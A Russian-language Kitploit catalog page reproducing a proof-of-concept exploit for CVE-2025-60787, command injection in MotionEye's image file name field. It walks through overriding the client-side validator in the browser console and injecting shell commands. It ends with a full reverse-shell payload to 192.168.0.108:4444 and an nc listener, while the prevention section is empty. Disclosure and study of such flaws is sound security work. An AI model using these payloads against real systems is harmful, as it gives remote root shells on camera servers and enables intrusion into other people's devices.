Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-60787 — Доказательство концепции для CVE-2025-60787, демонстрирующее удалённое выполнение кода в MotionEye <= 0.43.1b4 через обход проверки на стороне клиента и внедрение команд в имя файла изображения. | Kitploit
Инструменты/GitHubGitHub/prabhatverma47/cve-2025-60787
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

Доказательство концепции для CVE-2025-60787, демонстрирующее удалённое выполнение кода в MotionEye <= 0.43.1b4 через обход проверки на стороне клиента и внедрение команд в имя файла изображения.

Репозиторий
161 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Оригинальная ссылка: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE через обход проверки на стороне клиента

Краткое описание

В ходе тестирования безопасности экземпляра MotionEye, работающего в Docker, было обнаружено, что проверку на стороне клиента в веб-интерфейсе можно обойти. Это позволяет отправлять произвольные данные, включая полезные нагрузки, которые могут вызвать выполнение кода в контейнере хоста. Проблема создает риск удаленного выполнения кода (RCE) при эксплуатации.

Затронутые версии: Все версии до 0.43.1b4 включительно
Статус исправления: Исправление пока недоступно. В этом бюллетене приведен обходной путь.
Ссылка на проект: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Окружение

  • Цель: MotionEye, работающий в Docker
  • Образ: ghcr.io/motioneye-project/motioneye:edge
  • Открытый порт: 9999, сопоставленный с портом контейнера 8765
  • Тестовые учетные данные: admin / пустой пароль (по умолчанию)

Шаги воспроизведения

1. Настройка контейнера

Выполните следующую команду, чтобы начать загрузку образа Docker и запустить контейнер

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Проверка версии

docker logs motioneye | grep "motionEye server"

Результат: Сервер MotionEye 0.43.1b4 image

3. Доступ к файловой системе

После запуска контейнера Docker доступ к оболочке контейнера можно получить с помощью следующих команд

docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Первоначальный доступ

Откройте веб-интерфейс по адресу:
http://127.0.0.1:9999
Вход: admin (пустой пароль)

5. Настройка камеры

Добавлена тестовая RTSP-сетевая камера.
image

6. Попытка инъекции

В поле «Still Images» > «Image File Name» была введена вредоносная команда выполнения, но возникла ошибка проверки на стороне клиента.

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Заблокировано проверкой на стороне клиента.
image

image

7. Обнаружение проверки на стороне клиента

За проверку отвечает следующий скрипт: /static/js/main.js?v=0.43.1b4, который ссылается на /static/js/ui.js?v=0.43.1b4 для реализации условий проверки.

Файл: /static/js/main.js?v=0.43.1b4, ссылающийся на /static/js/ui.js?v=0.43.1b4

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Метод обхода

Переопределив функцию configUiValid в консоли браузера, можно обойти все проверки: введите приведенный ниже фрагмент в консоль браузера (F12 или Ctrl+Shift+I)

configUiValid = function() { 
    return true; 
};
image

9. Выполнение полезной нагрузки

Теперь полезную нагрузку можно ввести напрямую без какой-либо проверки: задайте значения как указано ниже и примените настройки

Настройки:

  • Режим захвата = Interval Snapshots
  • Интервал = 10
  • Image File Name:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Применено → Файл создан с правами root.

image

Воздействие: превращение RCE в оружие

создание простого обратного шелла:

Слушатель:

nc -lvnp 4444
image

Внедренная полезная нагрузка:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Результат: получен удаленный шелл.


Корневая причина и поток выполнения

MotionEye уязвим, поскольку он принимает пользовательский ввод из веб-панели и записывает его напрямую в конфигурационные файлы Motion без проверки на опасные символы. Например, поле image_file_name в интерфейсе отправляется в серверную часть (config.py) и сохраняется в /etc/motioneye/camera-.conf. Когда MotionEye перезапускает службу Motion (motionctl.start), процесс Motion считывает этот конфигурационный файл. Если поле picture_filename содержит синтаксис оболочки, например $(touch /tmp/test), Motion выполнит его как реальную команду, а не будет обрабатывать как часть имени файла.

Несанитизированный ввод, записываемый в конфигурационные файлы Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


Предотвращение

Скачать инструмент